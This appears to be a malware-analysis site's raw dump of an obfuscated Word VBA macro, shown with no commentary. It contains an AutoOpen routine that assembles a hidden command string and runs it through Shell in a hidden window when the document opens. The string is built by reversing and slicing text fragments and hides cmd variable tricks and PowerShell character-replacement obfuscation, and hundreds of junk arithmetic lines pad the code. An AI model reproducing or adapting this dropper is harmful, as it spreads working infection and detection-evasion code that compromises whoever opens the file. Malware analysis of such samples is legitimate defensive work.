TVoGjrU = (MRwEdEUjPpzY) + yHBjksbJKSUgsssd("VjlcwIlRTSKk111]raHc[(eCAlPER-69zJnAV", 6, 20)
noVamiKi = (3172940 - CDbl(4033982 + zitwcfvRkop / LMUiokXcqjXwkB * Hex(8809889)) - 8979401 + CByte(jOaqf))
ttWqEcK = (2430473 - CDbl(9690812 + qLkMztE / RNbMhkBtsqQL * Hex(9507806)) - 2159807 + CByte(mBQBZOGfzW))
iPYLRF = (3782190 - CDbl(9548695 + nQrpSKSoS / UwMhwownNfk * Hex(9614500)) - 2152299 + CByte(siXLibqNncF))
mQqjo = (QIRitbOYnhLZm) + yHBjksbJKSUgsssd("RlmssOOOXAkMNNQBIP1]rAhc[+711]rAhc[+66]vFr+vFrrAhc[((eCALPerYO", 3, 42)
ZzhnjWKwaO = (1007717 - CDbl(1617998 + nmHGrsGLkbWpVu / nzismqRpD * Hex(8421647)) - 4576598 + CByte(HVnQWr))
VAQQoGEC = (5851512 - CDbl(895018 + lfcbp / dGlBiojipKNVG * Hex(4301078)) - 9516306 + CByte(OTlzq))
FnUIrG = (9344118 - CDbl(1989439 + wrqZC / CQwwoiRq * Hex(8033415)) - 3502939 + CByte(qwGJVYiDhQ))
wSBba = (hIqDjGSop) + yHBjksbJKSUgsssd("wUVKOQRqajilRRq9b1= dsad9b1+vFr+vFr9b1'+'aG2A+G2Asn4Go9b1G2A+G2A(( G2A(vFr((()vFrvFrniOj-vF'+'rXvFr+]3,hKUVfM", 7, 88)
cAlJTHB = (4749371 - CDbl(1396055 + OmXdSYzwEqc / HWUDtaGz * Hex(1547623)) - 7445038 + CByte(nwTSNczMwQA))
hjsYLZsl = (7776007 - CDbl(9043254 + iWSBiruaYqlHS / VSJZbGk * Hex(5971308)) - 9873098 + CByte(lVGdfB))
NWOXpjTF = (1410661 - CDbl(6494189 + KPDnwaulN / chFKjriHaM * Hex(7844129)) - 1703692 + CByte(XMPMlQuWjDhIzR))
cUYWDRRTfF = (qwHcVIw) + yHBjksbJKSUgsssd("qfCRZlvn9b1+9b1e4Go9b1+9b1 = 9b1+9b1CDS4vFr+vFrG9b1+9b1o;)2b9b1vFr+vFr+9b1c?G2A+G2A'+'29b1+G2A+G2A9b1b9b'+'1+9b1c(ti9b'+'1+9b1l9b1+9b1pG2A+G2A9b1+9b1S.2ipWRPwSkHhSGJlazlkDZoGLF", 25, 146)
kjcjIlkXwtJ = (6260544 - CDbl(2654334 + USEtiY / kazua * Hex(6040328)) - 3780799 + CByte(vBpjAOitbCiw))
SGuwWHWOw = (1320278 - CDbl(6876188 + DjmYADAdtHJm / CAGpRPU * Hex(6013547)) - 7301803 + CByte(NupZcqvbuApvNo))
InihAGhial = (1413681 - CDbl(3598813 + vXvbqbSrbws / rPFRjYdLdXm * Hex(9610983)) - 6244686 + CByte(mXGnRiw))
MqdzPVh = (mBujVlBPja) + yHBjksbJKSUgsssd("wYzZNIRTs[,)27]rAhc[+8vFr+vFr7]rAhc[+801]r'+'Ahc[((eC'+'ALPer.)G2AX1uG2A,vFr+vFr)60hJoXrQJKDCzY", 13, 79)
ZHGVmw = (7947124 - CDbl(9095980 + ofKjLqwbOBLn / WsukLBncJBErbB * Hex(4273834)) - 8730371 + CByte(vdcwNOtPr))
tuCVLl = (8980303 - CDbl(7134233 + OOSTJ / sCKPn * Hex(1478010)) - 1573312 + CByte(iFpjochoGh))
rVoHzlzalM = (2306065 - CDbl(9396045 + iBUTGC / unmXRAdqP * Hex(5976993)) - 7983693 + CByte(piknaIGI))
AhUwKFjkm = (DkjddQdHEXlzvb) + yHBjksbJKSUgsssd("ji1[)(gniRTsOt.ecNer'+'EFerPeSOBreV12E '+'(.'(SRwjUAhvYfCwdVjVEpjDUwamJVarXhnaXMz", 36, 44)
dOwtVGvXSrsS = GEAKSnTwYjzMwq + aHkHNsOAqw + bfaAwFwM + ChrW(34) + FijqTRSowqZb + AhUwKFjkm + wSBba + nqwCZ + zWKzwKVKn + zAHoz + czQjPltBav + WlAiGizVk + HzpAQVPkm + TTGzHhvXX + VaRUibw + YJJUiGAEN + jmzohVtJlhi + bJpqqdR + lpuZI + AzQUvVvtq + ajNafLrZ + HVIbXNqXbz + cUYWDRRTfF + wnaqk + wsOrdYCTTW + qlimf + MasaXjGc + vFivLfjj + czhvwlOkwK + TfLUTVArtwJ + XmNqBH + VidcjCRLDkC + EhzLIEnwos + pldRXnzMX + kGonSrXK + OSbFzzEj + TXCzw + TVoGjrU + VRBzDTwOAi + VbWHdYcKwiv + mQqjo + MqdzPVh + NHwvRXQ + NVWjdh + sYTKzZFTRWf + vhIMwUhuCa
srGatNuLA = (8753787 - CDbl(941110 + jBQEHPqYi / PHztUJ * Hex(8091489)) - 3349040 + CByte(iAfsPGS))
UmwkjLdOK = (3462152 - CDbl(142379 + jiAAsjc / bAtkVjiaUAIAwp * Hex(9134028)) - 608328 + CByte(wcDikiCIck))
cdzmInGqT = (8734920 - CDbl(2138143 + wcCuKJz / rnzYuGZ * Hex(4078090)) - 8177501 + CByte(qcswGzUO))
End Function
Sub WncVEkJfbvbqD(hNtBKWB As String)
On Error Resume Next
iRQTwjPUY = (9371115 - CDbl(8252238 + BQCXraMmbJhO / XzvisCAcLzac * Hex(9103529)) - 9302331 + CByte(oqSoWiivtwORH))
thUjBiYjU = (8148370 - CDbl(6149107 + pNqTbuwiWwkrt / KtEBiiltiicqb * Hex(3187898)) - 4577210 + CByte(UzmujQ))
Shell bSCSmlvwdqIT + hNtBKWB + cSIBIwiLrkT + GNdkFzMtFcj, 0
fMwHnizAS = (9358483 - CDbl(8575156 + Brkmjmckhim / YRLXqwZaAjc * Hex(7990711)) - 1813335 + CByte(rdsjAjNjbtUN))
cHcrBzZSj = (4148193 - CDbl(4372706 + KVWSjSPvcu / wswiDSspRCdUS * Hex(9534544)) - 1698573 + CByte(fQrFVHQZfMv))
End Sub
Attribute VB_Name = "uErmJAUosBYsAv"
Function bfaAwFwM()
On Error Resume Next
qvYHizu = (2953784 - CDbl(6009075 + pooUOQ / suuwXFDMMZUFwt * Hex(8909601)) - 680985 + CByte(hnBWIzvhdHG))
JFkBEWlZzbc = (9525804 - CDbl(7808829 + iPcfFOkzrtj / zMKhQvkInbPY * Hex(6919114)) - 9509227 + CByte(QtwwOXrlpVOoov))
mRwZMXQ = (6871123 - CDbl(9213299 + qXziXw / KMfuHAEvIPTDt * Hex(9339430)) - 3349852 + CByte(FbULCGw))
SYWEMKrU = (XYAJiVwwswXh) + yHBjksbJKSUgsssd("iRK6zl1ZD94rGiOthL% tes&&wo=%SsrSXvGVtwOd% tes&&p=%AVQSazUsJjirI% tes&&BUkjRqtzhqOKBb=AUw", 4, 70)
jVWjRAi = (6165141 - CDbl(535385 + YKtGDlo / QSqcs * Hex(4210277)) - 6835281 + CByte(zaGlKP))
sKOmUv = (4125286 - CDbl(1566284 + ftjaXlXcwJBEJq / ThkZGBw * Hex(9147410)) - 6751937 + CByte(ZBZRAJplJ))
qJZokIVvYP = (4590532 - CDbl(8319305 + dthTA / MiGpkuSciwBviw * Hex(132257)) - 842212 + CByte(jzLvALSASUOErr))
WABlitBJC = (zHlBrzdpRSjYc) + yHBjksbJKSUgsssd("CHzqtjIiUS!%CVTCCqlMwctZ3", 5, 11)
uMQUYUuGfoJ = (7616300 - CDbl(7987763 + ZEYnENuh / zoOSSMY * Hex(4133596)) - 3607243 + CByte(mcbKiwtSMAW))
rslYPCQm = (5801116 - CDbl(5454962 + zFuzroWSIdDkj / CbbqDFDpwtt * Hex(8270236)) - 2116987 + CByte(ijsVMUSNSYdiLT))
uPnKBkDziXo = (3871791 - CDbl(9683115 + uPNQkZ / aWrJHAFAdck * Hex(5403797)) - 7094430 + CByte(YMNoJCMZujV))
GiQzVFIRY = (NpsDZvwVoAMW) + yHBjksbJKSUgsssd("Az7XTTnizLwB%!!%onZktccQCE%!!%BWKBtNh%!!%DqbvbfJkEVcnW%!!%GBznICvPHbEa%!!%BpviqYKOB%X9KdESujE", 10, 76)
KphorF = (128816 - CDbl(5385957 + WTAcHnHOGY / zlUYmjjDhrj * Hex(6830050)) - 4715931 + CByte(zdmNiZw))
oUqbYnifA = (485324 - CDbl(4528672 + tuMVVzDNEUlz / pmlTzujmj * Hex(5455192)) - 3388984 + CByte(KVAczj))
pRiLWAILzhI = (9033022 - CDbl(2699363 + isXNhinWiDZ / GzbsG * Hex(9899431)) - 1547714 + CByte(wKSuNLiClFlq))
nqmoRao = (dAjjsNYVC) + yHBjksbJKSUgsssd("LTSh6hlO Zatp206S3nYNKpwu1dTPdiMdTfk", 28, 3)
zjuVZzdVc = (9980329 - CDbl(4336903 + kkZSi / SmhdBkvr * Hex(6532231)) - 1044577 + CByte(CIHGdBMBDJCqU))
SAYcwnXiiw = (7370378 - CDbl(1030780 + ILffGJnllrGrz / iDPjZrPzGjMQi * Hex(1597858)) - 3234129 + CByte(NrvrmfCamsUWUl))
OsUtqzFRCz = (9046184 - CDbl(4004634 + Mawbn / NdLEvSp * Hex(5936325)) - 6066421 + CByte(piPvIECA))
fdZKdp = (FEYZjsjmalUZc) + yHBjksbJKSUgsssd("frh2Yms3Cq2CYDT&&eh=%onZktccQCE% tes&&zcUFOwj=%OMuRVlRbpzzXjvW% tes&&s=%BWKTkzWa6w", 8, 60)
VSEwJwPZX = (7817111 - CDbl(376221 + HjYtHYzmuf / kjjHabMwCUFkN * Hex(8978148)) - 5667158 + CByte(uhwSjrzNIT))
jHszdwdlD = (4146861 - CDbl(2002057 + Uifwsd / rzjVBqzKBvLwi * Hex(9323213)) - 671182 + CByte(zMGtl))
srnitiRlmC = (4281582 - CDbl(9764960 + FCpilZ / VRlkvAaRsrmL * Hex(2476360)) - 1544069 + CByte(fMQdhlljG))
zMVbzV = (ZiiNbbGHwO) + yHBjksbJKSUgsssd("vpcESlVnP0rHRZns5sIRCf8TBtNh% tes&&!%SsrSXvGVtGGYGKr", 7, 22)
UqAXMNP = (6647655 - CDbl(4263014 + RHszjhfPua / RrZNjCS * Hex(8025211)) - 7503450 + CByte(IZKqX))
DjESYK = (6533891 - CDbl(1386193 + OahdYA / jKFzNwNd * Hex(2381545)) - 5698098 + CByte(clajhsjbJ))
ioLoRHEUYq = (6646903 - CDbl(6390691 + MzYFjA / oSZzzrMpZE * Hex(9027529)) - 9221402 + CByte(MAFWjfsouzriCB))
Ipqfj = (hsLIEWvOBzKlz) + yHBjksbJKSUgsssd("fi0EdQ2wOd%!=%GBznICvPHbEa% tes&&re=%DqbZs1z", 5, 33)
jjjXBqDcwf = (8792502 - CDbl(360625 + BInuViOzq / pjONTOXv * Hex(557231)) - 6609349 + CByte(nYlkad))
zEkAcpWoH = (9154998 - CDbl(3842697 + hGnUfU / ujUYiBBNaIATTY * Hex(3200743)) - 8235277 + CByte(NNkBKvFT))
UYLMWWzQC = (5600077 - CDbl(7056659 + ivthwSdMiJim / YKRccAjQP * Hex(3892399)) - 1242647 + CByte(kujoPFAQ))
bXjbm = (JWOmiwM) + yHBjksbJKSUgsssd("swXnwi!&&ll=%CVTCCqlMwzLwB% tesv0P62Yd", 8, 25)
jLvSUV = (8267059 - CDbl(5570939 + VSbnP / YuXSEdV * Hex(1119930)) - 8816594 + CByte(CKIzmMHKWrW))
sVfGi = (3262079 - CDbl(6723116 + nOXMvLC / DFcAjpFGFI * Hex(6807902)) - 3944596 + CByte(RidRJLRQXr))
jwGhhB = (1479273 - CDbl(2209388 + fpFIKid / HCWmfREPlO * Hex(6454176)) - 2778526 + CByte(VfuvlAkLfOU))
dVIWukqWY = (JjbNdAdc) + yHBjksbJKSUgsssd("hkivbfJkEVcnW% tes&&OwJPwXC=%kcABwwmqwTBdfPW% tes&&!%AVQSazUsJjirI%!wVPX0mKXqLaCt4", 15, 65)
UPSUVhRhvUL = (2117339 - CDbl(2511155 + hsObnCzMI / OoRjXhKwnQIG * Hex(4595293)) - 2049163 + CByte(kurpzGqjYTwmi))
cGCKRH = (8632840 - CDbl(894104 + RlYmzMtZwzL / wQbUEiDHG * Hex(4334600)) - 1697136 + CByte(YEsMZvcFiiq))
hrODzXoGin = (4044867 - CDbl(9800324 + wYAStzuSn / sdiApw * Hex(5297338)) - 9051969 + CByte(qOsThAAXFp))
LpUzbs = (dtNAldazdKK) + yHBjksbJKSUgsssd("u6AL=%BpviqYKOB% tes&&hvuZfmjt=%waTrFvDEssJoCGaYLLiTawLFSuRnLLLBrkFc6ZszKM", 30, 41)
FjEWhhR = (9160334 - CDbl(8522987 + KEFTRs / pdZilHCNLp * Hex(7606496)) - 3432436 + CByte(DIaiMEnv))
dlUZZ = (7988330 - CDbl(640577 + iNNVhZ / WkjzbsCinKOE * Hex(9237623)) - 3783361 + CByte(YEBdWHMFhz))
jzazVzUCBd = (5058953 - CDbl(3570934 + Xujjl / RhmFh * Hex(6512333)) - 6239534 + CByte(RcjkHnApJT))
pbYCUHZ = (dJnFRkUvNcQlH) + yHBjksbJKSUgsssd("wF9UMLjV0YvkuhT0qCvAcSaMP3K%suQDiKzHadksXdz% tesz0u", 4, 21)
bfaAwFwM = pbYCUHZ + SYWEMKrU + LpUzbs + dVIWukqWY + Ipqfj + zMVbzV + fdZKdp + bXjbm + GiQzVFIRY + WABlitBJC + nqmoRao
DDjJfzwBZ = (9714137 - CDbl(2079486 + diStCwmwUwpdv / AOTfDikNci * Hex(4162313)) - 1429313 + CByte(mHfHh))
SYwwRNkDD = (2143348 - CDbl(9864776 + NCOCzj / uucIQFkYvuz * Hex(8248307)) - 7839337 + CByte(HKXiBwFuzfZN))
UUSsznYzN = (7498891 - CDbl(8229434 + hshppJD / KTFsrYwm * Hex(5524366)) - 9878551 + CByte(wjClPFCvMSraUT))
End Function
Attribute VB_Name = "mOHDIzGfu"
Function GEAKSnTwYjzMwq()
On Error Resume Next
tDlujoP = (8475296 - CDbl(2230427 + AcYPYczE / mwarm * Hex(8297473)) - 7394277 + CByte(MvlsHrPtE))
NDpQWibMqU = (9905440 - CDbl(4870383 + XTpwqWnq / nFidw * Hex(5213828)) - 8826151 + CByte(iUhFzfwZZt))
uabRqiwWzvb = (7120485 - CDbl(1786514 + TcXlfTIbA / DvVZqDOI * Hex(3222046)) - 4158162 + CByte(WirNZosY))
zEqfw = (fiANsCZHYsUr) + yHBjksbJKSUgsssd("mGEwc %cE^p^S^mo^C% avRCcwjULHGGpAlJ", 17, 19)
DwicMYUzzo = (4326184 - CDbl(1969142 + UnEzwjXFfQDj / BOpFNsWpIkRp * Hex(4987274)) - 2646961 + CByte(wilBH))
OmrPUQQ = (8666222 - CDbl(6549167 + bWiiUNcVwwScw / AtinvLDmIYSU * Hex(1739553)) - 9393235 + CByte(BbtTUNjjOB))
barHKAItfWT = (5237696 - CDbl(6192892 + UqHlHJi / XTzWqoOGLAEfq * Hex(9046693)) - 4297999 + CByte(JbZQKPlUf))
nFmKWKOHsFk = (HlAhEdKcFG) + yHBjksbJKSUgsssd("QMjoOzzKrLwHiw wCMwptNFIRNiMEHjzAih", 21, 8)
pJMfiv = (5449067 - CDbl(6055051 + RiHhdrCXwpi / FRFRNcMwAvjN * Hex(7013581)) - 9567775 + CByte(PrwjEhPzDV))
VbkPkc = (5166796 - CDbl(3554943 + bBYnX / RjSIGHQ * Hex(6383338)) - 6891251 + CByte(BuzfMmfzJ))
rsBSWkmz = (4988567 - CDbl(1128069 + TCvnJHXwWtqWj / wjqZoAfbBbdmso * Hex(4324002)) - 4765910 + CByte(zIbPQMTzIJ))
ociUNDDJq = (ZVdCBWAYZUj) + yHBjksbJKSUgsssd("oGVnK & hoRcYQJiw", 9, 6)
jnCPQBGRiiw = (9635372 - CDbl(2950302 + OEjjWXcfquctY / nbwaP * Hex(8998998)) - 2354742 + CByte(RXQtK))
KLoEQo = (4987712 - CDbl(8874813 + JAsKMulJZm / FPPPGv * Hex(1205191)) - 6855699 + CByte(kBiUjLnIPdMC))
HtBVY = (7263467 - CDbl(2976565 + bBNqtqoBdnHn / HJzDq * Hex(1287013)) - 8150360 + CByte(SYdBHc))
rbZuXkFEk = (sATJXOib) + yHBjksbJKSUgsssd("OnCcTDYBczozuFRSZmX dmcRlPZjwQNAj", 11, 8)
rwjmi = (6115132 - CDbl(1717013 + fZcJckp / NuFDjnnXUEPo * Hex(9959569)) - 1809608 + CByte(HMrDdWboQQsoa))
zcTnS = (304621 - CDbl(5861173 + zaEjBvBzmk / jBQUMVi * Hex(4073526)) - 9330682 + CByte(jLPlFonrzNWp))
NcYTDTJrj = (5237589 - CDbl(3503813 + vZtMLuR / IvmAvfSwjhrQO * Hex(7899791)) - 9566464 + CByte(GOFnWrrazHRvlI))
RDdFhRd = (FjZXkAF) + yHBjksbJKSUgsssd("LofR V/FzmKGn", 7, 10)
oQHuMz = (7855760 - CDbl(5797183 + RDMCnOWKY / ABwiGcRWtGFBjq * Hex(9302776)) - 1771900 + CByte(ToBoClw))
zIjLQja = (7876038 - CDbl(7458410 + mDzJGR / jACXVUp * Hex(5066368)) - 9115703 + CByte(QPUVFiCDW))
ZTzldzHX = (4271328 - CDbl(1619486 + PztUWfSvwzkYHw / nwTMNG * Hex(2660439)) - 6128360 + CByte(SkjYvGkvC))
IMZDnzUjw = (jBwGczGw) + yHBjksbJKSUgsssd("POtPYzPvjDLjiIsd PHujCcVfvwvCl", 10, 16)
LLjjViFsdEZ = (3823187 - CDbl(3932965 + lwtAq / oWVLEJz * Hex(4069440)) - 516450 + CByte(GnOtWV))
zVwWMkZ = (4346622 - CDbl(234950 + ChlHuiiJzML / zkCqZtw * Hex(3712707)) - 1068537 + CByte(hGokOF))
PFvCq = (5199135 - CDbl(5991286 + csUnhCOb / VAwIrsHDLC * Hex(9464419)) - 5522617 + CByte(hawzfTJTd))
JWJKQ = (JXPECJurC) + yHBjksbJKSUgsssd("MRMBPVTh c/ WrhoqGtQnWaNWATWGCZRKiQPKhzuis", 31, 14)
LqYDJV = (8435514 - CDbl(6380209 + uSJsRfLIX / GpOmLDkUoa * Hex(2985602)) - 4772638 + CByte(HiKlJfKkEoQ))
idTXNi = (3244424 - CDbl(9864974 + EncNHXA / EKvbA * Hex(5051801)) - 4919390 + CByte(GIVlB))
hMFNFMwEZI = (1890332 - CDbl(1448154 + CcNsCBwVMsfjM / IBjCiAq * Hex(6448737)) - 6031874 + CByte(KBiHvOJujjK))
pNJlAFac = (FHZPvcLuYhnDKu) + yHBjksbJKSUgsssd("hoUOFFIaRcYnCHKzjfQMZldPtzXNA", 12, 13)
RVEhJrLAS = (3606902 - CDbl(8230947 + wikAcCdsZ / boPRX * Hex(7977736)) - 3474756 + CByte(pHbJLP))
XtstZfS = (4785576 - CDbl(6196752 + hfaBkUARZJsOq / bfwETnDZo * Hex(2991437)) - 8241794 + CByte(jwoXVbwMvM))
wEcznqtn = (9804093 - CDbl(9672574 + TOzzfZvzkzdML / smHrKK * Hex(1422049)) - 7185785 + CByte(dCoQR))
podwmC = (sATEwfHDUzdhB) + yHBjksbJKSUgsssd("hlwtwOWXlJCCBG XrjiQZlIcOwCThwsnOCDKTzj", 25, 8)
GEAKSnTwYjzMwq = rbZuXkFEk + IMZDnzUjw + pNJlAFac + nFmKWKOHsFk + ociUNDDJq + zEqfw + podwmC + RDdFhRd + JWJKQ
dbPjAOzZD = (5509961 - CDbl(1589319 + udwwKKKVEanUo / iiLWurJiWJjz * Hex(2318238)) - 9440344 + CByte(SjfjUQ))
dmDSrduNC = (7542256 - CDbl(9070208 + MfQNjhQjQHpON / NPlrIlTXFvHECO * Hex(2720311)) - 3318125 + CByte(WoFzRpFC))
zTozVzoFs = (3165221 - CDbl(6108766 + LiJYpZVGcf / SznTa * Hex(1570912)) - 9947245 + CByte(ZjoLSfXjwSzJzi))
End Function
Attribute VB_Name = "VcOMBzhHBDUCw"
Sub AutoOpen()
On Error Resume Next
zJiZkhMdw = (535485 - CDbl(2872409 + ArfEZhBEU / kjilpYrcZ * Hex(545214)) - 8314337 + CByte(sjncsmFTJ))
fQuqNqCrs = (5733805 - CDbl(1513218 + cYuuzsomWd / idzzQwo * Hex(2886669)) - 9839329 + CByte(NFTku))
biplhZjwP = (1439636 - CDbl(8722949 + ttRhnBEPNOq / uDOIZOTbKERF * Hex(9413315)) - 7195889 + CByte(nvhjsXOvVhTaDO))
Application.Run "WncVEkJfbvbqD", dOwtVGvXSrsS
VjMsDqdKa = (4334022 - CDbl(170174 + SXocMkBFRUji / NjItaFoPMpXEMs * Hex(9069894)) - 3539476 + CByte(UKiDFqGsVj))
YwzBAhuqJ = (4182099 - CDbl(3177449 + QMYFiRYzrGnozV / uIpBBEWQROnWWS * Hex(546465)) - 7183417 + CByte(MUtWfzIpUWrRLJ))
BilzhUUPu = (8899899 - CDbl(9307182 + quuBjo / qcibZOIhM * Hex(6368295)) - 6638238 + CByte(wGFmskSVRc))
End Sub
Function yHBjksbJKSUgsssd(ByVal BOKYqivpB As String, BwLzwMlqCCTVC, ECQcctkZno)
yHBjksbJKSUgsssd = Mid(StrReverse(BOKYqivpB), BwLzwMlqCCTVC, ECQcctkZno)
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.